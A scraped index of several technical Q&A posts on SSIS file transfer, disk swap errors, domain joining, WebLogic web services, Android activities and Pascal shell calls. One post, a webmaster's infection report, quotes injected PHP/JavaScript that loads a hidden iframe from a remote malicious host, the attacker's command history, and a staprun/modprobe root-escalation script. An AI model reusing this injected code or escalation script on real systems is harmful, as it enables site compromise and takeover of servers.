async_read_until are correct. Thanks!

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  • Best Method to SFTP or FTPS Files via SSIS

    - by Registered User
    What is the best method using SSIS (SQL Server Integration Services) to upload a file to either a remote SFTP (secure FTP with SSH2 protocal) or FTPS (FTP over SSL) site? I've used the following methods, but each has short-comings I would like to avoid: COZYROC LIBRARY Method: Install the CozyRoc library on each development and production server and use the SFTP task to upload the files. Pros: Easy to use. It looks, smells, and feels like a normal SSIS task. SSIS also recognizes the password as sensitive information and allows you all the normal options for protecting the sensitive information instead of just storing it in clear text in a non-secure manner. Works well with other SSIS tasks such as ForEach Loop Containers. Errors out when uploads and downloads fail. Works well when you don't know the names of the files on the remote FTP site to download or when you won't know the name of the file to upload until run-time. Cons: Costs money to license in a production environment. Makes you dependent upon the vendor to update their libraries between each version. Although they already have a 2008 version, this caused me a problem during the CTP's of 2008. Requires installing the libraries on each development and production machine. COMMAND LINE SFTP PROGRAM Method: Install a free command-line SFTP application such as Putty and execute it either by running a batch file or operating system process task. Pros: Free, free, and free. You can be sure it is secure if you are using Putty since numerous GUI FTP clients appear to use Putty under the covers. You DEFINATELY know you are using SSH2 and not SSH. Cons: The two command-line utilities I tried (Putty and Cygwin) required storing the SFTP password in a non-secure location. I haven't found a good way to capture failures or errors when uploading files. The process doesn't look and smell like SSIS. Most of the code is encapsulated in text files instead of SSIS itself. Difficult to use if you don't know the exact name of the file you are uploading or downloading. A 3RD PARTY C# or VB.NET LIBRARY Method: Install a SFTP or FTPS library and use a Script Task that references the library to upload the files. (I've never tried this, so I'm going to guess at the pros and cons) Pros: Probably easy to capture errors. Should work well with variables, so it would probably be easy to use even when you don't know the exact name of the file you are uploading or downloading. Cons: It's a script task combined with .NET libraries. If you are using SSIS, then you probably are more comfortable with SSIS tasks then .NET code. Script tasks are also difficult to troubleshoot since they don't have the same debugging tools and features as regular .NET projects. Creates a dependency on 3rd party code that may not work between different versions of SQL Server. To be fair, it is probably MORE likely to work between different versions of SQL Server than a 3rd party SSIS task library. Another huge con -- I haven't found a free C# or VB.NET library that does this as of yet. So if anyone knows of one, then please let me know!

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  • Write-error on swap-device, Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK

    - by Jan
    My root server at 1&1 was unresponsive on HTTP and SSH, so I logged into the serial console . It flooded my connection with endless error messages like quoted below. I initiated a reboot and now everything seems to work properly. After googling, I installed smartctl and ran a short self test, which told me the device was healthy. Is this likely a disk failure soon to happen or could it be just some program going wild? I assume, the swap device could also grow full when huge amounts of memory get consumed by a buggy program? How can I find out for sure? The sever was already unresponsive a week ago when I just restarted it without proper investigation. The server is running on CentOS. Write-error on swap-device (8:16:8351055) Write-error on swap-device (8:16:8351063) Write-error on swap-device (8:16:8351071) Write-error on swap-device (8:16:8351079) Write-error on swap-device (8:16:8351087) Write-error on swap-device (8:16:8351095) Write-error on swap-device (8:16:8351103) Write-error on swap-device (8:16:8351111) Write-error on swap-device (8:16:8351119) Write-error on swap-device (8:16:8351127) Write-error on swap-device (8:16:8351135) Write-error on swap-device (8:16:8351143) Write-error on swap-device (8:16:8351151) Write-error on swap-device (8:16:8351159) Write-error on swap-device (8:16:8351167) Write-error on swap-device (8:16:8351175) Write-error on swap-device (8:16:8351183) Write-error on swap-device (8:16:8351191) sd 1:0:0:0: [sdb] Unhandled error code sd 1:0:0:0: [sdb] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK sd 1:0:0:0: [sdb] CDB: Write(10): 2a 00 00 9c 00 ef 00 00 08 00 end_request: I/O error, dev sdb, sector 10223855 Write-error on swap-device (8:16:10223863) sd 1:0:0:0: [sdb] Unhandled error code sd 1:0:0:0: [sdb] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK sd 1:0:0:0: [sdb] CDB: Write(10): 2a 00 00 9c 0e 97 00 00 10 00 end_request: I/O error, dev sdb, sector 10227351 Write-error on swap-device (8:16:10227359) Write-error on swap-device (8:16:10227367) sd 1:0:0:0: [sdb] Unhandled error code sd 1:0:0:0: [sdb] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK sd 1:0:0:0: [sdb] CDB: Write(10): 2a 00 00 9c b0 1f 00 00 10 00 end_request: I/O error, dev sdb, sector 10268703 Write-error on swap-device (8:16:10268711) Write-error on swap-device (8:16:10268719) sd 1:0:0:0: [sdb] Unhandled error code sd 1:0:0:0: [sdb] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK sd 1:0:0:0: [sdb] CDB: Write(10): 2a 00 00 a0 84 7f 00 00 08 00 end_request: I/O error, dev sdb, sector 10519679 Write-error on swap-device (8:16:10519687) sd 1:0:0:0: [sdb] Unhandled error code sd 1:0:0:0: [sdb] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK sd 1:0:0:0: [sdb] CDB: Write(10): 2a 00 00 a7 26 af 00 04 00 00 end_request: I/O error, dev sdb, sector 10954415 Write-error on swap-device (8:16:10954423) Write-error on swap-device (8:16:10954431) Write-error on swap-device (8:16:10954439) Write-error on swap-device (8:16:10954447) Write-error on swap-device (8:16:10954455) Write-error on swap-device (8:16:10954463) Write-error on swap-device (8:16:10954471) Write-error on swap-device (8:16:10954479) Write-error on swap-device (8:16:10954487) Write-error on swap-device (8:16:10954495) Write-error on swap-device (8:16:10954503) Write-error on swap-device (8:16:10954511) Write-error on swap-device (8:16:10954519) Write-error on swap-device (8:16:10954527) Write-error on swap-device (8:16:10954535) Write-error on swap-device (8:16:10954543) Write-error on swap-device (8:16:10954551) Write-error on swap-device (8:16:10954559) Write-error on swap-device (8:16:10954567) Write-error on swap-device (8:16:10954575) Write-error on swap-device (8:16:10954583) Write-error on swap-device (8:16:10954591) Write-error on swap-device (8:16:10954599) Write-error on swap-device (8:16:10954607) Write-error on swap-device (8:16:10954615) Write-error on swap-device (8:16:10954623) Write-error on swap-device (8:16:10954631) Write-error on swap-device (8:16:10954639) Write-error on swap-device (8:16:10954647) Write-error on swap-device (8:16:10954655) Write-error on swap-device (8:16:10954663) Write-error on swap-device (8:16:10954671) Write-error on swap-device (8:16:10954679) Write-error on swap-device (8:16:10954687) Write-error on swap-device (8:16:10954695) Write-error on swap-device (8:16:10954703) Write-error on swap-device (8:16:10954711) Write-error on swap-device (8:16:10954719) Write-error on swap-device (8:16:10954727) Write-error on swap-device (8:16:10954735) Write-error on swap-device (8:16:10954743) Write-error on swap-device (8:16:10954751) Write-error on swap-device (8:16:10954759) Write-error on swap-device (8:16:10954767) Write-error on swap-device (8:16:10954775) Write-error on swap-device (8:16:10954783) Write-error on swap-device (8:16:10954791) Write-error on swap-device (8:16:10954799) Write-error on swap-device (8:16:10954807) Write-error on swap-device (8:16:10954815) Write-error on swap-device (8:16:10954823) Write-error on swap-device (8:16:10954831) Write-error on swap-device (8:16:10954839) Write-error on swap-device (8:16:10954847) Write-error on swap-device (8:16:10954855) Write-error on swap-device (8:16:10954863) Write-error on swap-device (8:16:10954871) Write-error on swap-device (8:16:10954879) Write-error on swap-device (8:16:10954887) Write-error on swap-device (8:16:10954895) Write-error on swap-device (8:16:10954903) Write-error on swap-device (8:16:10954911) Write-error on swap-device (8:16:10954919) Write-error on swap-device (8:16:10954927) Write-error on swap-device (8:16:10954935) Write-error on swap-device (8:16:10954943) Write-error on swap-device (8:16:10954951) Write-error on swap-device (8:16:10954959) Write-error on swap-device (8:16:10954967) Write-error on swap-device (8:16:10954975) Write-error on swap-device (8:16:10954983) Write-error on swap-device (8:16:10954991) Write-error on swap-device (8:16:10954999) Write-error on swap-device (8:16:10955007) Write-error on swap-device (8:16:10955015) Write-error on swap-device (8:16:10955023) Write-error on swap-device (8:16:10955031) Write-error on swap-device (8:16:10955039) Write-error on swap-device (8:16:10955047) Write-error on swap-device (8:16:10955055) Write-error on swap-device (8:16:10955063) Write-error on swap-device (8:16:10955071) Write-error on swap-device (8:16:10955079) Write-error on swap-device (8:16:10955087) Write-error on swap-device (8:16:10955095) Write-error on swap-device (8:16:10955103) Write-error on swap-device (8:16:10955111) Write-error on swap-device (8:16:10955119) Write-error on swap-device (8:16:10955127) Write-error on swap-device (8:16:10955135) Write-error on swap-device (8:16:10955143) Write-error on swap-device (8:16:10955151) Write-error on swap-device (8:16:10955159) Write-error on swap-device (8:16:10955167) Write-error on swap-device (8:16:10955175) Write-error on swap-device (8:16:10955183)

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  • Mass targeted malware installed - g00glestatic.com [closed]

    - by Silver89
    Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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  • Likewise DomainJoin hangs on Finishing krb5.conf configuration

    - by dreay
    Hello, I have a problem when joining a CentOS release 5.4 (Final) x64 machine to the domain after running domainjoin-cli --loglevel info --log . join domain.local password I obtain the following, which seems to hang on "20100428112821:INFO:Finishing krb5.conf configuration" 20100428112817:INFO:Domainjoin invoked with the join command (remaining arguments will be printed later): 20100428112817:INFO: [/opt/likewise/bin/domainjoin-cli] 20100428112817:INFO: [--loglevel] 20100428112817:INFO: [info] 20100428112817:INFO: [--log] 20100428112817:INFO: [/tmp/join_1.log] 20100428112817:INFO: [join] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lwsmd] 20100428112817:INFO:Daemon [/etc/init.d/lwsmd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lwsmd] 20100428112817:INFO:Daemon [/etc/init.d/lwsmd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lwregd] 20100428112817:INFO:Daemon [/etc/init.d/lwregd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lwregd] 20100428112817:INFO:Daemon [/etc/init.d/lwregd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/netlogond] 20100428112817:INFO:Daemon [/etc/init.d/netlogond]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/netlogond] 20100428112817:INFO:Daemon [/etc/init.d/netlogond]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lwiod] 20100428112817:INFO:Daemon [/etc/init.d/lwiod]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lwiod] 20100428112817:INFO:Daemon [/etc/init.d/lwiod]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/dcerpcd] 20100428112817:INFO:Daemon [/etc/init.d/dcerpcd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/dcerpcd] 20100428112817:INFO:Daemon [/etc/init.d/dcerpcd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/eventlogd] 20100428112817:INFO:Daemon [/etc/init.d/eventlogd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/eventlogd] 20100428112817:INFO:Daemon [/etc/init.d/eventlogd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lsassd] 20100428112817:INFO:Daemon [/etc/init.d/lsassd]: status [0] 20100428112817:INFO:Checking status of daemon [/etc/init.d/lsassd] 20100428112817:INFO:Daemon [/etc/init.d/lsassd]: status [0] 20100428112817:INFO:Domainjoin invoked with 2 arg(s) to the join command: 20100428112817:INFO: [domain.local] 20100428112817:INFO: [default.user] 20100428112817:INFO:Adding ops (fqdn ops.domain.local) to /etc/hosts ip 192.168.246.5, removing ops, ops.domain.local, ops, ops.domain.local 20100428112817:INFO:Reading krb5 file /tmp/likewisetmpPkpAn5/etc/krb5.conf 20100428112817:INFO:Reading krb5 file /tmp/likewisetmpb6dkNX/etc/krb5.conf 20100428112817:INFO:Reading nsswitch file /etc/nsswitch.conf 20100428112817:INFO:Reading pam configuration 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/config-util.rpmnew 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/config-util 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/runuser-l 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/sshd 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/other 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/smtp.postfix 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/su-l 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/system-switch-mail-nox 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/kshell 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/authconfig 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/ekshell 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/run_init 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/screen 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/eject 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/system-auth.rpmnew 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/system-config-network-cmd 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/system-auth-ac 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/kbdrate 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/smtp.sendmail 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/chsh 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/setup 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/system-switch-mail 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/ksu 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/login 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/sudo-i 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/smtp 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/runuser 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/chfn 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/ppp 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/gssftp 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/remote 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/reboot 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/newrole 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/pm-powersave 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/system-auth 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/halt 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/other.rpmnew 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/atd 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/passwd 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/authconfig-tui 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/pm-hibernate 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/su 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/system-config-network 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/neat 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/pm-suspend-hybrid 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/crond 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/sudo 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/pm-suspend 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.d/poweroff 20100428112817:INFO:Reading pam file /tmp/likewisetmptrO2dQ/etc/pam.conf 20100428112817:INFO:File /tmp/likewisetmptrO2dQ/etc/pam.conf does not exist 20100428112817:INFO:Found config file /etc/ssh/sshd_config 20100428112817:INFO:Found binary /usr/sbin/sshd 20100428112817:INFO:Reading ssh file /etc/ssh/sshd_config 20100428112817:INFO:Found open sshd version 4.3.-1p2 20100428112817:INFO:Testing option ChallengeResponseAuthentication 20100428112817:INFO:Option ChallengeResponseAuthentication supported 20100428112817:INFO:Testing option UsePAM 20100428112817:INFO:Option UsePAM supported 20100428112817:INFO:Testing option PAMAuthenticationViaKBDInt 20100428112817:INFO:Option PAMAuthenticationViaKBDInt not supported 20100428112817:INFO:Testing option KbdInteractiveAuthentication 20100428112817:INFO:Option KbdInteractiveAuthentication supported 20100428112817:INFO:Testing option GSSAPIAuthentication 20100428112817:INFO:Option GSSAPIAuthentication supported 20100428112817:INFO:Testing option GSSAPICleanupCredentials 20100428112817:INFO:Option GSSAPICleanupCredentials supported 20100428112817:INFO:Found config file /etc/ssh/ssh_config 20100428112817:INFO:Found binary /usr/bin/ssh 20100428112817:INFO:Reading ssh file /etc/ssh/ssh_config 20100428112817:INFO:Testing option GSSAPIAuthentication 20100428112817:INFO:Option GSSAPIAuthentication supported 20100428112817:INFO:Testing option GSSAPIDelegateCredentials 20100428112817:INFO:Option GSSAPIDelegateCredentials supported 20100428112821:INFO:Running module join 20100428112821:INFO:Starting krb5.conf configuration (enabling) 20100428112821:INFO:Reading krb5 file /tmp/likewisetmpvgqQmT/etc/krb5.conf 20100428112821:WARNING:Short domain name not specified. Defaulting to 'betgenius' 20100428112821:INFO:Failed to run lwinet ads trusts. This is expected if not yet joined to the domain 20100428112821:INFO:Failed to run lwiinfo --details -m. This is expected if the auth daemon is not running 20100428112821:INFO:Writing krb5 file /tmp/likewisetmpvgqQmT/etc/krb5.conf 20100428112821:INFO:File /tmp/likewisetmpvgqQmT/etc/krb5.conf modified 20100428112821:INFO:Finishing krb5.conf configuration Has anyone seen this error before? and know of the fix?

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  • Getting JAX-WS client work on Weblogic 9.2 with ant

    - by michuk
    I've recently had lots of issues trying to deploy a JAX-WS web servcie client on Weblogic 9.2. It turns out there is no straightforward guide on how to achieve this, so I decided to put together this short wiki entry hoping it might be useful for others. Firstly, Weblogic 9.2 does not support web servcies using JAX-WS in general. It comes with old versions of XML-related java libraries that are incompatible with the latest JAX-WS (similar issues occur with Axis2, only Axis1 seems to be working flawlessly with Weblogic 9.x but that's a very old and unsupported library). So, in order to get it working, some hacking is required. This is how I did it (note that we're using ant in our legacy corporate project, you probably should be using maven which should eliminate 50% of those steps below): Download the most recent JAX-WS distribution from https://jax-ws.dev.java.net/ (The exact version I got was JAXWS2.2-20091203.zip) Place the JAX-WS jars with the dependencies in a separate folder like lib/webservices. Create a patternset in ant to reference those jars: Include the patternset in your WAR-related goal. This could look something like: (not the flatten="true" parameter - it's important as Weblogic 9.x is by default not smart enough to access jars located in a different lcoation than WEB-INF/lib inside your WAR file) In case of clashes, Weblogic uses its own jars by default. We want it to use the JAX-WS jars from our application instead. This is achieved by preparing a weblogic-application.xml file and placing it in META-INF folder of the deplotyed EAR file. It should look like this: javax.jws. javax.xml.bind. javax.xml.crypto. javax.xml.registry. javax.xml.rpc. javax.xml.soap. javax.xml.stream. javax.xml.ws. com.sun.xml.api.streaming.* Remember to place that weblogic-application.xml file in your EAR! The ant goal for that may look similar to: <jar destfile="${warfile}" basedir="${wardir}"/> <ear destfile="${earfile}" appxml="resources/${app.name}/application.xml"> <fileset dir="${dist}" includes="${app.name}.war"/> <metainf dir="resources/META-INF"/> </ear> Also you need to tell weblogic to prefer your WEB-INF classes to those in distribution. You do that by placing the following lines in your WEB-INF/weblogic.xml file: true And that's it for the weblogic-related configuration. Now only set up your JAX-WS goal. The one below is going to simply generate the web service stubs and classes based on a locally deployed WSDL file and place them in a folder in your app: Remember about the keep="true" parameter. Without it, wsimport generates the classes and... deletes them, believe it or not! For mocking a web service I suggest using SOAPUI, an open source project. Very easy to deploy, crucial for web servcies intergation testing. We're almost there. The final thing is to write a Java class for testing the web service, try to run it as a standalone app first (or as part of your unit tests) And then try to run the same code from withing Weblogic. It should work. It worked for me. After some 3 days of frustration. And yes, I know I should've put 9 and 10 under a single bullet-point, but the title "10 steps to deploy a JAX-WS web service under Web logic 9.2 using ant" sounds just so much better. Please, edit this post and improve it if you find something missing!

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  • Android 1.5 - 2.1 Search Activity affects Parent Lifecycle

    - by pacoder
    Behavior seems consistent in Android 1.5 to 2.1 Short version is this, it appears that when my (android search facility) search activity is fired from the android QSR due to either a suggestion or search, UNLESS my search activity in turn fires off a VISIBLE activity that is not the parent of the search, the search parents life cycle changes. It will NOT fire onDestroy until I launch a visible activity from it. If I do, onDestroy will fire fine. I need a way to get around this behavior... The long version: We have implemented a SearchSuggestion provider and a Search activity in our application. The one thing about it that is very odd is that if the SearchManager passes control to our custom Search activity, AND that activity does not create a visible Activity the Activity which parented the search does not destroy (onDestroy doesn't run) and it will not until we call a visible Activity from the parent activity. As long as our Search Activity fires off another Activity that gets focus the parent activity will fire onDestroy when I back out of it. The trick is that Activity must have a visual component. I tried to fake it out with a 'pass through' Activity so that my Search Activity could fire off another Intent and bail out but that didn't work either. I have tried setting our SearchActivity to launch singleTop and I also tried setting its noHistory attribute to true, tried setResult(RESULT_OK) in SearchACtivity prior to finish, bunch of other things, nothing is working. This is the chunk of code in our Search Activity onCreate. Couple of notes about it: If Intent is Action_Search (user typed in their own search and didn't pick a suggestion), we display a list of results as our Search Activity is a ListActivity. In this case when the item is picked, the Search Activity closes and our parent Activity does fire onDestroy() when we back out. If Intent is Action_View (user picked a suggestion) when type is "action" we fire off an Intent that creates a new visible Activity. In this case same thing, when we leave that new activity and return to the parent activity, the back key does cause the parent activity to fire onDestroy when leaving. If Intent is Action_View (user picked a suggestion) when type is "pitem" is where the problem lies. It works fine (the method call focuses an item on the parent activity), but when the back button is hit on the parent activity onDestroy is NOT called. IF after this executes I pick an option in the parent activity that fires off another activity and return to the parent then back out it will fire onDestroy() in the parent activity. Note that the "action" intent ends up running the exact same method call as "pitem", it just bring up a new visual Activity first. Also I can take out the method call from "pitem" and just finish() and the behavior is the same, the parent activity doesn't fire onDestroy() when backed out of. if (Intent.ACTION_SEARCH.equals(queryAction)) { this.setContentView(_layoutId); String searchKeywords = queryIntent.getStringExtra(SearchManager.QUERY); init(searchKeywords); } else if(Intent.ACTION_VIEW.equals(queryAction)){ Bundle bundle = queryIntent.getExtras(); String key = queryIntent.getDataString(); String userQuery = bundle.getString(SearchManager.USER_QUERY); String[] keyValues = key.split("-"); if(keyValues.length == 2) { String type = keyValues[0]; String value = keyValues[1]; if(type.equals("action")) { Intent intent = new Intent(this, EventInfoActivity.class); Long longKey = Long.parseLong(value); intent.putExtra("vo_id", longKey); startActivity(intent); finish(); } else if(type.equals("pitem")) { Integer id = Integer.parseInt(value); _application._servicesManager._mapHandlerSelector.selectInfoItem(id); finish(); } } } It just seems like something is being held onto and I can't figure out what it is, in all cases the Search Activity fires onDestroy() when finish() is called so it is definitely going away. If anyone has any suggestions I'd be most appreciative. Thanks, Sean Overby

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  • Using windows command line from Pascal

    - by Jordan
    I'm trying to use some windows command line tools from within a short Pascal program. To make it easier, I'm writing a function called DoShell which takes a command line string as an argument and returns a record type called ShellResult, with one field for the process's exitcode and one field for the process's output text. I'm having major problems with some standard library functions not working as expected. The DOS Exec() function is not actually carrying out the command i pass to it. The Reset() procedure gives me a runtime error RunError(2) unless i set the compiler mode {I-}. In that case i get no runtime error, but the Readln() functions that i use on that file afterwards don't actually read anything, and furthermore the Writeln() functions used after that point in the code execution do nothing as well. Here's the source code of my program so far. I'm using Lazarus 0.9.28.2 beta, with Free Pascal Compiler 2.24 program project1; {$mode objfpc}{$H+} uses Classes, SysUtils, StrUtils, Dos { you can add units after this }; {$IFDEF WINDOWS}{$R project1.rc}{$ENDIF} type ShellResult = record output : AnsiString; exitcode : Integer; end; function DoShell(command: AnsiString): ShellResult; var exitcode: Integer; output: AnsiString; exepath: AnsiString; exeargs: AnsiString; splitat: Integer; F: Text; readbuffer: AnsiString; begin //Initialize variables exitcode := 0; output := ''; exepath := ''; exeargs := ''; splitat := 0; readbuffer := ''; Result.exitcode := 0; Result.output := ''; //Split command for processing splitat := NPos(' ', command, 1); exepath := Copy(command, 1, Pred(splitat)); exeargs := Copy(command, Succ(splitat), Length(command)); //Run command and put output in temporary file Exec(FExpand(exepath), exeargs + ' __output'); exitcode := DosExitCode(); //Get output from file Assign(F, '__output'); Reset(F); Repeat Readln(F, readbuffer); output := output + readbuffer; readbuffer := ''; Until Eof(F); //Set Result Result.exitcode := exitcode; Result.output := output; end; var I : AnsiString; R : ShellResult; begin Writeln('Enter a command line to run.'); Readln(I); R := DoShell(I); Writeln('Command Exit Code:'); Writeln(R.exitcode); Writeln('Command Output:'); Writeln(R.output); end.

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  • "Launch Failed. Binary Not Found." Snow Leopard and Eclipse C/C++ IDE issue.

    - by Alex
